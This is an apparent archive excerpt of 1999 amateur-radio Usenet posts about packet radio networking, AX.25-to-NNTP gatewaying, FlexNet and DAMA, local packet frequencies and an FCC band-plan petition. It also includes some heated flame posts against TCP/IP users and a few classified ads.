other ax25 BBS program back and forth to NNTP? If I knew what it was
called, I could play with it over here.

Does anyone have any experiences to share relative to using Baycom's 9600
bps modems (parallel port)
Linux? I am interested in setting up a PacketCluster server using CLX.

With a little fishing around the net, I think I found the
nntp/ax25 stuff.

http://www.gb7ipd.freeserve.co.uk

Interesting, it looks like they're using jnos, maybe
that'd be a better way to go. It looks like there's
a good amount of work in what they've done here. I was
thinking easiest would be to massage the ax25 forwarding files into
a news compatible format. This seems a bit more
integrated.

3095. W.Wash (W7) Packet frequencies please!

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-10 00:00:00 UTC
From: raoul@olympus.net
Message-ID: <raoul-1007992220410001@pt194232.olympus.net>
Source record: 17405

Hi:

I'm getting back into packet after about a five year break and everything is different. I have both 144 and 220 equipment available and am in the N. Puget Sound area of Western Washington state in the US.

Can anyone tell me the frequencies to use? I know of 144.39 for APRS but that is about it. How about the DX Cluster? Are PBBS still in use? Does anyone do any chatting via packet any more?

Is NAPRA still in 'business'? I did a web search for them and found nothing. One of the reasons I got out before was because of all the bickering about most everything that was going on. Is this still the case?

3098. Re: Proposed Elimination of Two-Meter Packet

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-10 00:00:00 UTC
From: ccom@murlin.com
Message-ID: <3786c132.3963274@news.sound.net>
Source record: 17496

Here is what I have recieved on the subject:

CENTRAL STATES PETITION CAUSES A STIR

What a difference a couple of words can make. A petition for rulemaking
aimed at formally segregating wideband and narrowband modes on VHF and UHF
bands has generated a flurry of comments within the Amateur Radio community.
But the controversy is due, in part, to the inadvertent absence of some
wording in the filing from the Central States VHF Society of Kerrville,
Texas.

The FCC has assigned RM-9673 to the CSVHFS petition, which seeks generally
more restrictive regulation of the modes used by amateurs in the 6 meter, 2
meter, 1.25 meter and 70 cm bands. Comments are due on the petition by July
28.

"The Central States VHF Society has long been concerned about the increasing
encroachment into the so-called weak-signal portions of the bands above 50
MHz by wider-bandwidth modes, such as voice FM and occasionally packet
also," said CSVHFS Government Liaison Committee Chairman Bill Tynan, W3XO.
"All the Society was trying to do was to codify current practice into
regulations so that nobody is confused."

The CSVHFS petition says that band plans such as those promulgated by the
ARRL and other organizations "have not proven adequately successful in
limiting these wide band modes from the band segments used for weak signal
communication."

Tynan compared the petition's goals to the current regulatory situation on
10 meters, where FM is prohibited below 29 MHz. "I think you could see how
bad it would sound on 20 meters if people decided they wanted to run

FM
because it sounded so good," he said. Problems resulting from wideband
interference with narrowband--or weak-signal--modes such as CW or SSB
are
occurring more often, Tynan said, "especially in the larger cities."

Most of the controversy resulted from inadvertent wording in the
CSVHFS
petition that would have banned packet and APRS from the 2 meter band.
"There's no intention of anything like that," Tynan said. "There was
an
error committed by me in the appendix in terms of not putting down all
the
modes that are listed in the rules."

Tynan said the petition actually intended no other modifications of
authorization for "data" or "test" modes above 50.3, 144.3, or 222.15
MHz
and on the portions of the 70 cm band below 431.8 MHz and above 432.5
MHz.
"Unfortunately, by the inadvertent omission of 'data' and 'test' from
the
Appendix, the filing did not properly reflect that intent," he said.

Tynan said the mistake will be corrected when CSVHFS files its own
comments
on the petition by month's end.

The changes proposed to Section 97.305 of the FCC rules would have the
following effects:

* 50.0-50.1 MHz: Add RTTY and data emissions at up to 1200 bauds (this
band
segment is now limited to CW only).

* 50.1-50.3 MHz: Delete MCW and data. The band segment would be
limited to
CW, phone, image, and RTTY, but CSVHFS proposes no maximum symbol rate
for
RTTY. No wideband FM would be permitted (modulation index would be
limited
to 1 or less).

* 50.3-54.0 MHz: No changes.

* 144.0-144.1 MHz: Add RTTY and data emissions at up to 1200 bauds
(this
band segment is now CW only).

* 144.1-144.3 MHz: Delete MCW and data. The band segment would be
limited to
CW, phone, image, and RTTY, but CSVHFS proposes no maximum symbol rate
for

RTTY. No wideband FM would be permitted (modulation index would be limited
to 1 or less).

* 144.3-148.0 MHz: No changes.

* 222.0-222.15 MHz: Delete MCW, RTTY, data, test (except for brief test
transmissions), and wideband FM.

* 222.15-225.0 MHz: No changes.

* 431.8-432.5 MHz: Delete everything but CW and SSB (ie, no wideband FM
permitted), and image.

The CSVHFS Board of Directors will formulate its own comments on the petition when it meets in Cedar Rapids, Iowa, July 22-24. The CSVHFS petition also is expected to come up for discussion when the ARRL Board of
Directors gathers in mid-July.

These are three amateur radio balloons scheduled to launch the
weekend of July 10 - 11 (two simultaneously on Saturday) in the
midwest US. At peak altitudes, the APRS signals will be heard for
a radius in excess of 250 miles!

For more info (including weblinks) on these events, please
check out the HABLIC website where there are more listings just
like this, continually updated.

Sorry for the short notice to newsgroup, but better late than
never, and maybe the Saturday event will be postponed due to
weather to Sunday or later.

Robin's had a lot of experience with this sort of gating, and is
a master of the art !

The native linux software for ax25 <> NNTP gatewaying of personal mail
and bulletins is 'mailgw'. I think it is up to version 0.3.1 and
available from the ftp.hes.iki.fi site

Some notes on the TNOS NNTP server can be found at
http://www.rat.org.uk/amrad/nntp4v.htm

Let me know how you get on, I'll be back at the keyboard after the golf
at Carnoustie has finished.

Cheers !

Gareth.

You will almost certainly notice a great reduction in the available services in your area, plus perhaps a reduction in the number of nodes, etc. In the last ten years, Packet in the USA has been in a serious decline, while in Europe it has continued to advance and grow during that same period. In Germany, for example, they have nodes which carry better than 10 megabytes per hour, and 9.6kb is the standard access speed.

What you probably will find is the Amateur TCPIP people who put us into this position. They "won" the war against BBS's and Packet nodes which they had going about the time you got disgusted and quit for a while. - They literally destroyed Packet Radio in the USA, and replaced it with an utter dependence on the telephone (Internet) for all long-haul digital communications. The worldwide HF forwarding network was the first casualty of their activities, and a general decline soon followed.

Ask your local "LandLine Lids" if they are proud of their sorry asses. - They probably are.

These scum have set back Packet Radio networking in the USA by at least a decade, and the process of putting them in their place and resuming the development of the US Packet net has only begun in a few areas. Unfortunately, your area is not one of those. - Yet.

So stand by for a good deal more bickering and controversy. Weeding out Lids is a rewarding experience, but sometimes unpleasant - for the Lids.

"Well, I didn't expect some kind of Spanish Inquisition..."

"NOOOOOOOOOOOOOOObody expects the Spanish Inquisition...."

The simple questions I asked is printed below. I'm not interested in
"putting any one in their place", I just want to relax and enjoy radio.
If that is not possible, like many other inactive hams, I'll just go back
to the Internet and other hobbies where people are not bitching at each
other as the prime activity.

As I remember it, the main bickering with NAPRA was over the network
topology and forwarding of bulletins. The straw that broke my back was
when I was "locked out" of using the diginodes to connect to my home BBS
(three hops away) the get my e-mail...

So, I'll just ask the simple question again:

What packet frequencies are used in the Puget Sound area and what purposes
are they being used for?

3107. Digital Modes and ARRL Two-Meter Band Plan

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-11 00:00:00 UTC
From: tjs@garnet.tc.umn.edu
Message-ID: <7matgl$i8t$1@garnet.tc.umn.edu>
Source record: 17413

Is my reading of the ARRL band plans
(http://www.arrl.org/field/regulations/bandplan.html) correct when I
conclude that they contain no provision for digital activity on two
meters?

It appears that the closest the ARRL two-meter band plan comes is:

144.90-145.10 Weak signal and FM simplex (145.01,03,05,07,09
are widely used for packet)

The six-meter band plan uses the term "digital repeater". Does
the term "repeater" means "non-digital repeater" or does it mean
"digital or non-digital repeater"?

The two-meter band plan uses the terms "FM repeater" and "repeater".
Again, does the term "repeater" mean "FM or non-FM repeater"?

54Ft crankup, Mosley TA-33 tribander, CDE Ham II rotor and 2M Ringo Ranger for sale as a package. Buyer has to take down.

Tower has a little surface rust, but is structurally sound and has a new raising cable. Currently in active use with the TA-33 and a 5el homebrew 2m beam. The TA-33 is the original, heavier "senior" version. The Ringo Ranger is up there too but disconnected.

All guys, cables, hardware, approx. 200ft of unused RG-8 and even a Navy issue leather climbing belt included.

Sold only as a package. $525. Buyer has to take down.

Near New Haven,CT. 203-393-1825 before 10PM EDT or marty-k2@snet.net

Opps - look out, someone rattled my cage!!!

The mods I've applied to the 'stock' JNOS are mostly applicable
to the UK where we have tried (quite hard!!) to standardize the
methods we use for gateing twixt AX25 and nntp.

The problem we have here is lots different scenarios of connectivity
with isolated IP segments being interconnected by AX25, isolated
AX25 segments connected to the rest of the 'network' via IP and
IP segments with multiple gateways to AX25.

The different problems that arise mostly come down to
1) avoiding duplicates as stuff is gated back & forth
2) keeping the 'detail' of the originators method of connection.
eg. If I post an nntp article and its exported to the AX25 network
as a bulletin, I want AX25 users to be able to read it and I want
another nntp user on the other side of the AX25 segment to be able to
read it in the same format as a local nntp user.

The latest 'challenge' is to allow an nntp user to respond to an item that
has been gated to a newsgroup and the gateway work out the
topic from the 'references' header - that way we don't get flooded by
thousands of (mis-spelt) newsgroups. The gateway just keeps a list
of topics with the message IDs in its nntp history that its gated into the
network so it can fill in the missing data (assuming its not been expired
by the time a user responds to a bulletin).

All good stuff

I'll be putting this new stuff up on the web-site after a bit more testing
(only tried briefly today between lawn mowing) so what that space :-))

3112. Thoughts on CSVHFS Petition

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-12 00:00:00 UTC
From: tjs@garnet.tc.umn.edu
Message-ID: <7md3nmmuu1@garnet.tc.umn.edu>
Source record: 17418

My current thoughts on the CSVHFS petition for proposed rulemaking
are available at:

http://www.umn.edu/home/tjs/CSVHFS.html

My concerns with the CSVHFS petition fall into the following areas:

o Appendix A contains serious, apparently unintended, errors.
o The petition implicitly moves band planning from forums controlled
by radio amateurs to the regulatory process controlled by the FCC.
o The petition is incomplete and unilateral. It reflects the desires
of only one special interest group and suggests, without widespread
discussions within the amateur community, that the regulatory
process be used for band planning.

I believe that those interested in the newer modes, including packet and
spread spectrum, ought to examine this issue.

>exactly. Then, I could just browse them right on my own system at high speed.

I've done that for some time, more or less.
A local amateur has written an FBB server that sends a mail message each
day (or whatever you tell it) with an "L" listing of articles that match
a list of patters that you submit to it.
So, you can tell it what kinds of messages you are interested in.
(and more importantly: what messages you are NOT interested in)

Then you reply to this message leaving only the lines corresponding to
the messages you really want to read. It will return all the messages
as mail to you, and you can read it in whatever mailer you like.
Replying to these messages will result in a reply to the sender.

This works fine, and I have used it for quite some time until my interest
in the messages sent around on BBS net dropped so low that I read maybe
1 message per day. Tuning the filter and reading the long listings every
day simply wasn't worth it anymore.

>And, no I wasn't thinking of other ax25 applications.

>than what the APRS people are using them for. I don't know yet. And I
>guess the thing uses ax25 and not IP, so that's a reason for having an ax25 network.

This is what I mean: there are not so many applications on packet, whereas
they have boomed on Internet. Those cannot be used on packet because our
network is too slow. When we would have had a network comparable to
Internet, there would have been applications. And we could have used
the Internet applications.

>Here, in the SF Bay area we have IP guys on one frequency, and AX25 guys on other
>frequencies.

That is another problem: the network builders did not have the vision to
natevily support (route) IP, but invented their own protocols. The IP
users had to resort to tunneling IP in AX25 connections, and this makes
it even slower.
The network should have been constructed as an IP routing network, with

support for AX25 users (those that do not want to use IP) on top of that.
Then, a big part of the user community would have switched from the old
AX25 applications to IP-based applications the day they discovered the
Internet.
Even better: applications like APRS and DX Cluster could have used
facilities in the IP protocols (like Multicasting) for much more efficient
operation, instead of inventing the wheel again.

Message-ID: <xbri3.41$5O1.16051@typhoon-sf.snfc21.pbi.net>
Source record: 17420

Hi:

I have what seems to be a configuration problem with an MFJ-1270C TNC that is connected to an MFJ VHF Data Radio for APRS.

Specifically:

After the TNC transmits the TNC stops receiving. Turning the data radio on and off then starts the TNC receiving again. Resetting the TNC also causes it to stop receiving. (I suppose it is also possible the transmitter stops receiving after it transmits, but I haven't been able to check that).

Seems like this is a set-up command I am missing.

Help!

Let me guess: You lost interest when many of the postings there described the damage to the Packet net being done by LandLine Lids.

Just taking a wild guess here, based on your negative attitude about anything beyond the tcpip stuff that LandLine Lids typically appear to be hung up on.

>>And, no I wasn't thinking of other ax25 applications.

ax25 network.

If you are interested in tcpip, another good reason is that you must have ax25 or something like it to run IP over in the first place - Duh! See the article: "TCPIP on FlexNet - Just Another Layer" by DK7WJ at my web site listed below. Push the "FlexNet" button, and go from there.

Maybe you will learn something.

>
>This is what I mean: there are not so many applications on packet, whereas

There has been software that allows use of native tcpip apps for both the LINUX and Win95/98 platforms for several years now. (Netscape, Eudora, etc.) Guess what? -- These packages have not taken the amateur tcpip world by storm as many of you folks regularly claim they "would". In fact, almost all amateur tcpip folks in the USA are still running that hacked-up abortion, "*NOS".

In other words, you are full of farina. Put up or shut up.

>>Here, in the SF Bay area we have IP guys on one frequency, and AX25 guys on other
>>frequencies.

That's because you never properly developed your AX25 net well enough to handle IP's frequency-hogging tendencies, so you got "run off".

>
>That is another problem: the network builders did not have the vision to
>natevily support (route) IP, but invented their own protocols. The IP
>users had to resort to tunneling IP in AX25 connections, and this makes
>it even slower.

Yes, it's well known that tcpip will slow down a good packet net. Most Node ops consider it to be an especially ignorant form of "QRM".

Isn't it terrible that Hams thought of something original? How can you stand the shame?

>The network should have been constructed as an IP routing network, with
>support for AX25 users (those that do not want to use IP) on top of that.

Gee, what a clever idea. The "routing" utilized by amateur tcpip is the LEAST sophisticated available to hams. That's because of those pesky ax25 users and their nasty old original ideas.

>Then, a big part of the user community would have switched from the old
>AX25 applications to IP-based applications the day they discovered the
>Internet.

Just like they have done in the last five years? That's how long it's been possible to do this.

Unfortunately, nobody really cares about those applications except LandLine Lids trying to run down what legitimate Hams have done.

>Even better: applications like APRS and DX Cluster could have used
>facilities in the IP protocols (like Multicasting) for much more efficient
>operation, instead of inventing the wheel again.

Sorry, but your idea of slowing things down by running them over IP for "more efficient operation" just plain doesn't hold water. There has been multicasting software for use with ax25 nets for a little over five years now, but it doesn't see much use.

Here's a clue for you:
Introducing additional overhead and delays very seldom tends to speed things up.

The amateur tcpip folks in the USA are directly responsible for the slump we have experienced here, mainly due to "Amateur Telephone", where a so-called "Ham" routes amateur radio traffic over the telephone and pretends that it is Packet Radio.

"Amateur Telephone" exists because of a deficiency in TCPIP that makes it almost completely useless for long-range communication via Radio. Only

amateur tcpip folks need this crutch. -- THAT's a good point to start from, when you compare ax25 Packet to tcpip as Amateur Packet Radio networking systems.

At least the ax25 folks use Radio, which puts them light-years ahead of the "LandLine Lids" running tcpip.

What is a "LandLine Lid" ?

Anyone who thinks the entire future of Packet Radio will be as a third-rate form of RF Internet access would be a good example.

LandLine Lids are "hams" who insist upon using the Internet and then PRETENDING that the Internet connection is Ham Radio. This kind of activity is illegal in Europe, where the Packet net has advanced and grown in an uninterrupted fashion over the last decade - The same decade where the US Packet net has been in a serious decline due to the actions of these "LandLine Lids".

They use Internet connections to replace and displace genuine Amateur Packet Radio networking, causing a severe decline in our Packet net's infrastructure.

That's what happened to the Packet net in the USA, in case you were wondering.

One good way to identify "LandLine Lids" is by the way they attempt to "justify" their destructive behavior by bad-mouthing Hams and Ham Radio. They will go on at great length about how lousy Packet Radio is, how stupid Hams are, and so on. They wear their negativity about Packet like some kind of badge of honor, and though they pretend to be "experts" on Packet, upon examination it always turns out that they are without a clue. - Like anyone who thinks the entire future of Packet Radio should be as a third-rate form of RF Internet access, for example.

Ignorant, arrogant, whining morons with no respect for Ham Radio or for their fellow Hams. - That's "LandLine Lids".

Almost all of them are amateur tcpip devotees, but do not let this fool you into thinking that all tcpip devotees are "LandLine Lids"... There is a minority within the amateur tcpip community that understand why Hams use radios. Some of these are great Hams.

Unfortunately, these are a tiny minority within the amateur tcpip community. Most of them go for "Amateur Telephone", because that's the only way to achieve long-haul communications via tcpip.

Ain't it a shame, the way them pesky old HAMS insist upon communicating by RADIO?

Ha Haw Hawr! Eat that.

I would like to get started using these as a way to get e-mail as I travel. I have a HF station and an old PK-232MBX. I could upgrade the PK-232MBX to include the new DSP stuff which I think includes Pactor. Or, I could go another route. I have been out of ham radio for a long time and am just setting up my station again and am not up to date on what is available.

Could I get some comments on what is the best way to go and what the cost/performance trade offs are? Are there other approaches that might be better than what's in the subject line?

TIA,

Ted Lane

This is rewriting history.

At the time AX.25 was created (early 1980's) TCP/IP was a small curiosity among some Unix hackers in some educational institutions:-). At least in this part of Europe, X.25 was the dominant vendor independent land line packet switched system (and X.400 the vendor independent e-mail system) until the early 1990's. At that time TCP/IP became the dominant vendor independent mode to connect computers to each other.

We might very well be using X.25 based systems today as the mainstream transfer protocol, if the service providers would not have kept so high prices in the old days.

One problem with AX.25, which is derived from X.25 is that X.25 works best with full duplex connections with relatively low bit error rate, neither constraint is hard to fulfill in typical amateur connections.

In 1999 it is easy to say that a wrong decision was made in early 1980's, but this has become evident only in the last few years.

Yeah, it would have been hugely clairvoyant back in the old days to see
what IP was going to be become. And, include code in these little Z80
boxes to account for it.

On the Linux side, kernel ip over ax25 is still a bit of a hassle to get going, but my guess is that with the apparent death of TNOS, people are generally moving towards the kernel stuff and away from TNOS. Or that's what it seems from reading linux-hams lately. Still, as that interesting article on Flexnet-IP points out the ax25 Linux code still has problems -- I assume mostly if you do anything but a single RF hop. I don't know, are the Flexnet guys doing anything with Linux? This kind of code is pretty hard to do, imo, since testing requires, gawd, I don't even know how you'd test it. Maybe make an RF network and upload the builds to every machine. These are pretty rough problems to get exactly right. I'm not sure if the Linux ax25 interface is sufficient to do the kind of tweaks that the Flexnet guys do -- I assume it isn't, but you never know.

But, at least there's a platform there for ax25 applications -- which is a step up from having to hack into jnos, bleah. This means that if the OS is improved, then at least all the applications won't have to be re-written. I think this is part of the problem as much as anything. That there have been this massive all-in-one things like Jnos that feeds the cat, and does email, and is a BBS, and has an IP stack built-in, and cleans the toaster. It's just too unwieldy. Like those Jnos patches to do nttp/AX25 bbs mail conversions -- that's a

good effort given the situation, but in a 'more ideal' world, I'd think
this would better be a discreet app, seperate from Jnos. Much easier to maintain,
and then useable with other code etc. Obviously, though, if you want to run
in DOS, you don't have much choice.

As an aside, I'm thinking is that maybe Linux could use, like a libhf -- or maybe a
libhamradioprotocols, or someway to have a single programming interface for Pactor, RTTY,
PSK31, Pactor 2, based-stuff. Some way so that we could then experiment with
the low level protocol stuff -- and not have to patch into F6FBB or this kind
of thing. Or on the other side we could pop an error checking protocol on top of any old
thing,
maybe even Morse, for extra masochism. Even DOS has, BPQ, which I guess sort of does
this -- though I haven't played with this. Ideally we'd pop a little button, and
switch links from HF Packet to Pactor to PSK31 or the KA9Q-HF with error checking,
and forward messages using that for a few days, to see if anything goes any better.

I have just completed a new introduction to APRS, explaining what it is, how it works, and raising certain issues which apply specifically to the UK.

25 pages, fully illustrated with many diagrams and screenshots.

Download it from www.netro.co.uk/whitepaper.htm

It is in PDF format, so you will need the Adobe Acrobat Reader (free from www.adobe.com) to read and print it.

Let me know what you think!

Yes, Linux and Win/NT versions are currently in the works.

The "hot" setup at this point is a LINUX box with no radios but plenty of
apps, ethernet linked to a DOS box running FlexNet, which handles the
radios.

At this point, things stand like this: There are FlexNet versions for
individual users on both the DOS and Win95/98 platforms, but the FlexDigi
(node code) module is only available for DOS machines.

It's pretty easy to tell that most of the real tcpip freaks are almost
totally clueless about what does and doesn't work when you use Radios
instead of telephone connections. FlexNet is particularly great for these
folks because it incorporates an "expert system" which automatically
controlls the TNC link and timing parameters for best performance without
operator intervention.
Setup is laughably easy... You tell FlexNet what baud rate you intend to
run, how much TXDelay time in milliseconds your radio needs to switch over
from recieve to transmit, and literally every other link parameter is
automagically controlled by FlexNet in a dynamic, real-time fashion.

Nothing else approaches FlexNet in this regard. It's much easier to use,
almost impossible to set up incorrectly, and works better than anything else
available. - And that ain't "Texas brag", pardners, it's FACT.

As I mentioned in an earlier post, the folks in Europe has at least a
ten-year lead over any of the software currently being used in the USA.. If
you are just using *NOS, NetRom, BPQ, X1J, or whatever, you're a decade
behind the times and struggling to set up overly complicated, inefficient,
obsolete software in order to enjoy substandard performance.

Why bother with nostalgia software?

For more info about FlexNet, see the URL listed below. Just push the "FlexNet" button, and go from there. You'll be glad you did.

So, if I install Flexnet can I talk to other people using Jnos and Tnos/Linux axutils? Or do all the IP people in the area have to move to Flexnet at once? And, can I talk to regular ax25 stations with Flexnet?

You are right about the decision to develop AX.25 in the early eighties,
but in the late eighties a combined NET/ROM and IP network has been built
here in the Netherlands, mostly using software I have derived from KA9Q NET
in those days.

Many of the original nodes in that network (running on PCs with SCC cards)
have been replaced by Flexnet or other systems now, but in its peak days
(early nineties) this network was perfectly capable of natively routing
both IP and AX.25, and supporting extra applications like SMTP mail
forwarding and FTP public fileserving on the nodes.

I have spent a lot of time writing the software and actually building and
maintaining nodes, and (also because of personal circumstances) have
stepped down my efforts in this area later.
One of my last developments was the support for IP Multicasting in the
network, and the distribution of network information using that mechanism
(so that tables of nodes and their information could be built).

My intention was to integrate a sophistcated IP autorouter algorithm and develop a mechanism to allow end-to-end AX.25 connections to be transported through the network over TCP/IP. That would make the entire network completely IP-based, and AX.25 only maintained for backward compatability and use by low-end systems (C64, TNC's with a handheld, etc).

At that time, the Flexnet network was becoming more and more expanded and discussions with the creators showed that they were not at all interested in doing things this way. So I decided not te attempt to "fight" against this force, and stop developments in this area.

But, I have tried. I am not simply looking back and saying how it could have been done better, but I have actually worked on it.
True, it is amazing how Phil KA9Q had the vision to start development of a TCP/IP protocol stack back in the eighties, when most of us did not even know about the existence of the protocols, let alone believed that they would be such a success...

Tnos/Linux
>axutils? Or do all the IP people in the area have to move to Flexnet at
once? And,
>can I talk to regular ax25 stations with Flexnet?

Yes, all of that works fine. <---- Short version.

Long version follows:

FlexNet is an ax25 stack. If you use the Win95/98 version, the telnet program included with the OS will work fine for telnet, WSFTP etc will do FTP, and that fairly well covers communications with *NOS stations. You can use those native tcpip apps for amateur tcpip OR on regular old ax25 connections!

You can also use browsers such as IE or Netscape, but I'm not sure how they would work with JNOS. I know that TNOS had some HTML/HTTP capability, but not whether it was developed enough to work well. (TNOS is a moot point now, in any case. Like 'BPQ, it's obsolete and will only become more so with time.) There are native Win95/98 server programs for tcpip, and these too can be used with FlexNet.

I personally run the DOS version, so I have to read the docs or listen to other FlexNet users in order to describe the tcpip services. There is some tcpip activity in my area, but it's on a "zoo channel", mixed in with APRS, NetRom, BBS's, Clusters and who knows what, all at 1.2kb. - Hardly worth bothering with. You're doing good to just communicate with ax25 stuff on that freq, as you can imagine!

FlexNet is an "ax25 stack", but does not include the NetRom functions... It doesn't use aliases, make "nodes" broadcasts, or include NetRom's routing functions. All of these are replaced by FlexNet's own way of handling those jobs much better. There are several "Intros to FlexNet" by different authors on my web site. By the time you work through those, you will have a good idea how it flies.

The worst problem I've encountered with it is that FlexNet uses the (Q)uit command to disconnect instead of NetRom's familiar (B)ye command.
What you get when you send B to FlexNet is a quick review of that node's Beacon text! This can be confusing to Hams who are used to NetRom, BPQ, X1J, NOS, etc...

I came up with a clever fix for that, though. At the end of my Beacon text is a beacon to a bogus "port 15" with the text, " Press Q to (Q)uit." in

it. That way, if a user enters B, he sees a message telling he/she to use Q to Quit. This is being adopted as standard operating practice within the US FlexNet nets now. It works well to reduce confusion over that matter.

The best part of FlexNet, I haven't set up to use yet... That is the optional DAMA access.

You are familiar with what happens without DAMA... Hidden Transmitter Syndrome (HTS) is a major problem in most US packet nets. A fellow with an HT or low powered station is a major liability to the local net because he can "hear" other stations in the LAN, but they can't "hear" him... So you get lots of collisions and retries. Everything slows down. The guy with the HT ends up being a pariah, and typically is told he better get an Omni antenna located up high, running at least 25 watts.

With DAMA, every station using the node, weak or strong, is only allowed to transmit when polled by the node station. This eliminates HTS, and allows use of low power stations using beams, rubber ducks, or anything else that the local node can "hear". It no longer matters whether all the other stations in the LAN can "hear" you, since everybody must wait their turn to transmit.

This is more revolutionary than it may sound.. It means that low power transmitters are an asset to the LAN instead of a liability, and everyone can adopt the good operating practice of using the minimum power needed for the connection instead of blasting out high power from an Omni in the forlorn hope that everyone else in the LAN will be able to "hear" them.

Every variant of FlexNet has DAMA "slave" capability, and the FlexDigi node module includes DAMA "master" functions.
It all boils down to a guy with a laptop, HT/rubber duck combo being just as effective as a guy with an OMNI at 100 ft, running 50 watts. As long as the node can "hear" you, you're in business.

The problem with DAMA is that if your software does not have DAMA "slave" capability, you can't connect to the node. Some TNC's include DAMA capability, and of course any station running FlexNet has it, but that still leaves a lot of stations out in the cold. What I am doing is running non-DAMA access on the "zoo" channel, and preparing to set up a DAMA port on another, more quiet freq for those few who are currently set up to utilize it. It's not something you can introduce overnight, but is still well worth the effort for the reasons outlined above.

DAMA access for FlexNet nodes is optional on a port by port basis, determined by the SYSOP.

There is also an optional (port by port) TXD monitor. When it detects a connectee using too high/long a TXdelay, it gives that station a short message to that effect and disconnects them. Overly long TXD settings can be a major slowdown in a Packet LAN, and this function addresses this problem directly and aggressively. - If you choose to use it.

FlexNet has several "zingers"; revolutionary functions and capabilities that put it far ahead of anything US Packet ops are familiar with. The DAMA access is revolutionary, as is FlexNet's dynamic adaptive automated TNC parameter adjustment, as is FlexNet's sheave of automated and manual routing systems, as is FlexNet's ease of setup and operation, as is FlexNet's ability to increase your station's range and ability to communicate under all operating conditions while using the same old radios and TNC's, as is the "soundcard DSP TNC" ability so useful to newcomers and those on a budget.

Yes, I'm enthusiastic about it... Why not? I think everybody is well aware that I "call them as I see them"... I'm not prone to flights of unreasoning enthusiasm about anything. Only results signify in my book, and that's why I am enthusiastic about FlexNet.

Yeah, you, for all your over-the-top-ness, seem to occasionaly latch on
to a good thing. Me, I'm less interested about the 'super-amazing-wonderlness'
of Flexnet, at this point, than the simple business of what hardware I
can make it work with -- like I don't see anything for Kantronics TNCs,
and how well I can connect to the locals, and whether I'm going to
screw them up by using Flexnet. Right now Ham radio networking available to me
consists of ax25 BBS forwarding, using plain old BBS technology. And TCP/IP
people running TNOS/JNOS variants.

Like with the DOS+Linux networked, which is probably what I'd do,
if I run a BBS on the Linux side, can I then accept ax25 connects onto
the DOS box have the connections go through the ethernet, and then
connect to the BBS on the Linux side? Or do I need to run the BBS
twice -- once on the DOS side and once on the Linux side -- and forward
from one to the other? What about HF links? I thought I saw messages
somewhere about HF saying Flexnet wasn't so good for HF -- I assume
I'd still run HF on the the Linux side, then, right?

If anyone knows how to forward this to the FBI, would you please do that or send me their address and I will forward this.

Thank you.
A concerned father and grand-father

Very nice copy of PK-88 TNC manual. VERY thick - has all programming options.

$15 shipped US prepaid

Thanks

It's true about FlexNet being for Hams only.

I doubt the manufacturers use the same EPROM for both types of customers, in any case.

Only commercial concerns utilizing the 'BPQ extended KISS mode would be affected, even if they did use the same EPROM. Bet that's not many companies, if any.

I don't see this as having much potential to cause problems. If it did, the proprietary outfits could supply enough information to enable a separate EPROM image for Ham use to be developed by Hams. This appears to have happened at least once before... There is an X1J node EPROM image available for the Timewave PK-96.

Perhaps that would be a better approach for a relatively small number of networkers. The TNC manufacturer would realize more profit by including the 6-Pack code in their standard EPROM, though.

Anywhere you can use a "dumb terminal."

I used the NEC version of the RS100 back in the mid-80's with a briefcase VHF packet station setup and it performed very well. Just use the built-in terminal program or write you own in BASIC. I also used mine as a datascope to parse data streams to peripherals such as digital plotters. Don't get rid of it! There are still lots of things it can do and all on 4 AA cells! ;^)

As far as I know, there are no FlexNet driver packages for Kantronics or Timewave TNC's. Kantronics and Timewave went out of their way to be proprietary, and have accomplished that goal. Both outfits have been approached by programmers willing to assist in implementing the FlexNet "6-Pack" driver for their products. Both outfits couldn't be bothered, preferring to stick with BPQ's extended KISS mode. This, despite the fact that 'BPQ is obsolete and has not been supported in quite a while.

The "6-Pack" EPROM image for the TNC2 is 4336 bytes. It's not exactly a ROM hog.
